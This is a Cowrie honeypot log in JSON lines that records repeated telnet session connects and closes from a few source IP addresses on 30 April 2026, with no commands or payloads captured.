{"eventid":"cowrie.session.closed","duration":30.665796518325806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.218719Z","src_ip":"69.6.225.50","session":"61fdd826dad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36876,"dst_ip":"159.203.135.109","dst_port":23,"session":"273961e7afb7","protocol":"telnet","message":"New connection: 69.6.225.50:36876 (159.203.135.109:23) [session: 273961e7afb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.384838Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":41754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f180ef2d081b","protocol":"telnet","message":"New connection: 5.61.90.139:41754 (10.17.0.5:23) [session: f180ef2d081b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.530959Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57010,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3859dd4899","protocol":"telnet","message":"New connection: 144.79.218.12:57010 (10.17.0.5:23) [session: ad3859dd4899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.574333Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbea22a46f95","protocol":"telnet","message":"New connection: 144.79.218.12:57022 (10.17.0.5:23) [session: dbea22a46f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.636230Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36886,"dst_ip":"159.203.135.109","dst_port":23,"session":"2841f40d9ef0","protocol":"telnet","message":"New connection: 69.6.225.50:36886 (159.203.135.109:23) [session: 2841f40d9ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:16.907042Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57036,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a96ff03b77c","protocol":"telnet","message":"New connection: 144.79.218.12:57036 (10.17.0.5:23) [session: 5a96ff03b77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:17.185279Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36890,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f8eb216744","protocol":"telnet","message":"New connection: 69.6.225.50:36890 (159.203.135.109:23) [session: c6f8eb216744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:17.233097Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57046,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb37200c9ba","protocol":"telnet","message":"New connection: 144.79.218.12:57046 (10.17.0.5:23) [session: 8cb37200c9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:17.543521Z"}
{"eventid":"cowrie.session.closed","duration":35.16762185096741,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:17.718349Z","src_ip":"144.79.218.12","session":"3c3d032d8cee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"7821be8b4e19","protocol":"telnet","message":"New connection: 144.79.218.12:57062 (10.17.0.5:23) [session: 7821be8b4e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:17.754725Z"}
{"eventid":"cowrie.session.closed","duration":33.2403450012207,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:17.915482Z","src_ip":"144.79.218.12","session":"bf567c83e2c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58294,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7f9092ddd0","protocol":"telnet","message":"New connection: 69.6.225.50:58294 (159.203.135.109:23) [session: fc7f9092ddd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:18.095287Z"}
{"eventid":"cowrie.session.closed","duration":41.608521461486816,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:18.220649Z","src_ip":"5.61.90.139","session":"38c87ce2099e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001126050949097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.047521Z","src_ip":"69.6.225.50","session":"7e90fb7e0633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.332104921340942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.053470Z","src_ip":"69.6.225.50","session":"e6f095c0374e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46087670326233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.063693Z","src_ip":"69.6.225.50","session":"3be0bcd22a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.945059299468994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.163726Z","src_ip":"144.79.218.12","session":"da571a69d033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58298,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0cd3cac949","protocol":"telnet","message":"New connection: 69.6.225.50:58298 (159.203.135.109:23) [session: 6f0cd3cac949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.290870Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58308,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc48ade39355","protocol":"telnet","message":"New connection: 69.6.225.50:58308 (159.203.135.109:23) [session: cc48ade39355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.441856Z"}
{"eventid":"cowrie.session.closed","duration":31.291983366012573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.506466Z","src_ip":"69.6.225.50","session":"cffef674b409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491365671157837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:19.927666Z","src_ip":"69.6.225.50","session":"595431355fb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5011944770813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.062608Z","src_ip":"69.6.225.50","session":"3679da182da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.270463466644287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.127451Z","src_ip":"69.6.225.50","session":"d9c4d54ed673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013529777526855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.139645Z","src_ip":"69.6.225.50","session":"783080e380ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78507924079895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.180337Z","src_ip":"144.79.218.12","session":"612ac568ad18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193840503692627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.189540Z","src_ip":"69.6.225.50","session":"537e537ef464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.271057844161987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.246514Z","src_ip":"69.6.225.50","session":"a9097ec25d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58318,"dst_ip":"159.203.135.109","dst_port":23,"session":"92557105d9a2","protocol":"telnet","message":"New connection: 69.6.225.50:58318 (159.203.135.109:23) [session: 92557105d9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.377790Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49916,"dst_ip":"10.17.0.5","dst_port":23,"session":"2686e5d03966","protocol":"telnet","message":"New connection: 144.79.218.12:49916 (10.17.0.5:23) [session: 2686e5d03966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.412038Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58326,"dst_ip":"159.203.135.109","dst_port":23,"session":"5216294d9264","protocol":"telnet","message":"New connection: 69.6.225.50:58326 (159.203.135.109:23) [session: 5216294d9264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.759623Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a853fdcc1d5","protocol":"telnet","message":"New connection: 144.79.218.12:49918 (10.17.0.5:23) [session: 1a853fdcc1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.896244Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58338,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1d86216b69","protocol":"telnet","message":"New connection: 69.6.225.50:58338 (159.203.135.109:23) [session: db1d86216b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:20.952545Z"}
{"eventid":"cowrie.session.closed","duration":30.60710620880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:21.048451Z","src_ip":"69.6.225.50","session":"02dc2e328868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416340589523315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:21.053725Z","src_ip":"69.6.225.50","session":"e29708463a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196449518203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:21.154691Z","src_ip":"69.6.225.50","session":"285e14cf79f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781119346618652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:21.168628Z","src_ip":"69.6.225.50","session":"4fa701a65ca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58342,"dst_ip":"159.203.135.109","dst_port":23,"session":"08842016d79a","protocol":"telnet","message":"New connection: 69.6.225.50:58342 (159.203.135.109:23) [session: 08842016d79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:21.963431Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58344,"dst_ip":"159.203.135.109","dst_port":23,"session":"34fb8785c05e","protocol":"telnet","message":"New connection: 69.6.225.50:58344 (159.203.135.109:23) [session: 34fb8785c05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:22.124973Z"}
{"eventid":"cowrie.session.closed","duration":30.883745908737183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:22.184899Z","src_ip":"69.6.225.50","session":"831e0e20cb87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49930,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcb5101280b","protocol":"telnet","message":"New connection: 144.79.218.12:49930 (10.17.0.5:23) [session: 9bcb5101280b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:22.197613Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58352,"dst_ip":"159.203.135.109","dst_port":23,"session":"371cb1a79d8f","protocol":"telnet","message":"New connection: 69.6.225.50:58352 (159.203.135.109:23) [session: 371cb1a79d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.434886Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58358,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc7a508cddc","protocol":"telnet","message":"New connection: 69.6.225.50:58358 (159.203.135.109:23) [session: abc7a508cddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.473862Z"}
{"eventid":"cowrie.session.closed","duration":31.731409072875977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.670292Z","src_ip":"69.6.225.50","session":"67f348279897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49946,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdf9fc27e1be","protocol":"telnet","message":"New connection: 144.79.218.12:49946 (10.17.0.5:23) [session: cdf9fc27e1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.696716Z"}
{"eventid":"cowrie.session.closed","duration":32.354231119155884,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.750309Z","src_ip":"144.79.218.12","session":"4d836a4e72d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.415170669555664,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.924962Z","src_ip":"144.79.218.12","session":"7326dbd8a0e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df1aa18df18","protocol":"telnet","message":"New connection: 69.6.225.50:58364 (159.203.135.109:23) [session: 4df1aa18df18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:23.946655Z"}
{"eventid":"cowrie.session.closed","duration":30.94767451286316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:24.063253Z","src_ip":"69.6.225.50","session":"1f7a46dd4e09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58378,"dst_ip":"159.203.135.109","dst_port":23,"session":"23895fa65705","protocol":"telnet","message":"New connection: 69.6.225.50:58378 (159.203.135.109:23) [session: 23895fa65705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:24.394503Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49956,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2331f682f66","protocol":"telnet","message":"New connection: 144.79.218.12:49956 (10.17.0.5:23) [session: f2331f682f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:24.674412Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58386,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5eed8fac17","protocol":"telnet","message":"New connection: 69.6.225.50:58386 (159.203.135.109:23) [session: da5eed8fac17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.014553Z"}
{"eventid":"cowrie.session.closed","duration":30.526694536209106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.048663Z","src_ip":"69.6.225.50","session":"2f50141cdab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05853509902954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.067739Z","src_ip":"69.6.225.50","session":"6e84b9966674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58398,"dst_ip":"159.203.135.109","dst_port":23,"session":"798194adfd7b","protocol":"telnet","message":"New connection: 69.6.225.50:58398 (159.203.135.109:23) [session: 798194adfd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.136912Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58406,"dst_ip":"159.203.135.109","dst_port":23,"session":"13cac10d97d2","protocol":"telnet","message":"New connection: 69.6.225.50:58406 (159.203.135.109:23) [session: 13cac10d97d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.276728Z"}
{"eventid":"cowrie.session.closed","duration":30.951727628707886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.343854Z","src_ip":"69.6.225.50","session":"5c7c505a7da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1889328956604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:25.955770Z","src_ip":"69.6.225.50","session":"444fb49d0711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.73676538467407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:26.313812Z","src_ip":"144.79.218.12","session":"036a892e0197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58422,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef38cfc85de","protocol":"telnet","message":"New connection: 69.6.225.50:58422 (159.203.135.109:23) [session: fef38cfc85de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:26.966797Z"}
{"eventid":"cowrie.session.closed","duration":39.6361939907074,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.098386Z","src_ip":"5.61.90.139","session":"919f9b236a45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58434,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ceb841629e2","protocol":"telnet","message":"New connection: 69.6.225.50:58434 (159.203.135.109:23) [session: 6ceb841629e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.106577Z"}
{"eventid":"cowrie.session.closed","duration":30.65494179725647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.137308Z","src_ip":"69.6.225.50","session":"34ed218ef5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20050311088562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.201206Z","src_ip":"185.15.23.59","session":"9183ebfe6c5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49970,"dst_ip":"10.17.0.5","dst_port":23,"session":"38412635ef9c","protocol":"telnet","message":"New connection: 144.79.218.12:49970 (10.17.0.5:23) [session: 38412635ef9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.259430Z"}
{"eventid":"cowrie.session.closed","duration":30.72540044784546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.279465Z","src_ip":"69.6.225.50","session":"25799a36daeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58448,"dst_ip":"159.203.135.109","dst_port":23,"session":"937d89619d74","protocol":"telnet","message":"New connection: 69.6.225.50:58448 (159.203.135.109:23) [session: 937d89619d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.365879Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48348,"dst_ip":"159.203.135.109","dst_port":23,"session":"6adae9f09069","protocol":"telnet","message":"New connection: 185.15.23.59:48348 (159.203.135.109:23) [session: 6adae9f09069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.752232Z"}
{"eventid":"cowrie.session.closed","duration":31.824916124343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:27.975044Z","src_ip":"69.6.225.50","session":"fa3481def652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582988262176514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.069844Z","src_ip":"69.6.225.50","session":"3b5f2a2213ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49976,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a6ca921e7e","protocol":"telnet","message":"New connection: 144.79.218.12:49976 (10.17.0.5:23) [session: 30a6ca921e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.091882Z"}
{"eventid":"cowrie.session.closed","duration":30.47090983390808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.133013Z","src_ip":"69.6.225.50","session":"bec582a7f277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60026,"dst_ip":"159.203.135.109","dst_port":23,"session":"67df51f98852","protocol":"telnet","message":"New connection: 69.6.225.50:60026 (159.203.135.109:23) [session: 67df51f98852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.350336Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50966,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca411812a49d","protocol":"telnet","message":"New connection: 185.15.23.59:50966 (159.203.135.109:23) [session: ca411812a49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.677252Z"}
{"eventid":"cowrie.session.closed","duration":42.535698652267456,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.857543Z","src_ip":"5.61.90.139","session":"635613335d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51860,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b09fa71ed73","protocol":"telnet","message":"New connection: 185.15.23.59:51860 (159.203.135.109:23) [session: 1b09fa71ed73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:28.975418Z"}
{"eventid":"cowrie.session.closed","duration":39.55490970611572,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:29.007707Z","src_ip":"5.61.90.139","session":"5bb4cdcecb4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5539391040802,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:29.164757Z","src_ip":"69.6.225.50","session":"6f65b82747dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60034,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68e70e74d6d","protocol":"telnet","message":"New connection: 69.6.225.50:60034 (159.203.135.109:23) [session: d68e70e74d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:29.389042Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60046,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef4c6249299","protocol":"telnet","message":"New connection: 69.6.225.50:60046 (159.203.135.109:23) [session: bef4c6249299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:29.582965Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e755a7cb5e04","protocol":"telnet","message":"New connection: 144.79.218.12:44580 (10.17.0.5:23) [session: e755a7cb5e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:29.649840Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60070,"dst_ip":"159.203.135.109","dst_port":23,"session":"435f72dd8b4e","protocol":"telnet","message":"New connection: 69.6.225.50:60070 (159.203.135.109:23) [session: 435f72dd8b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:29.852350Z"}
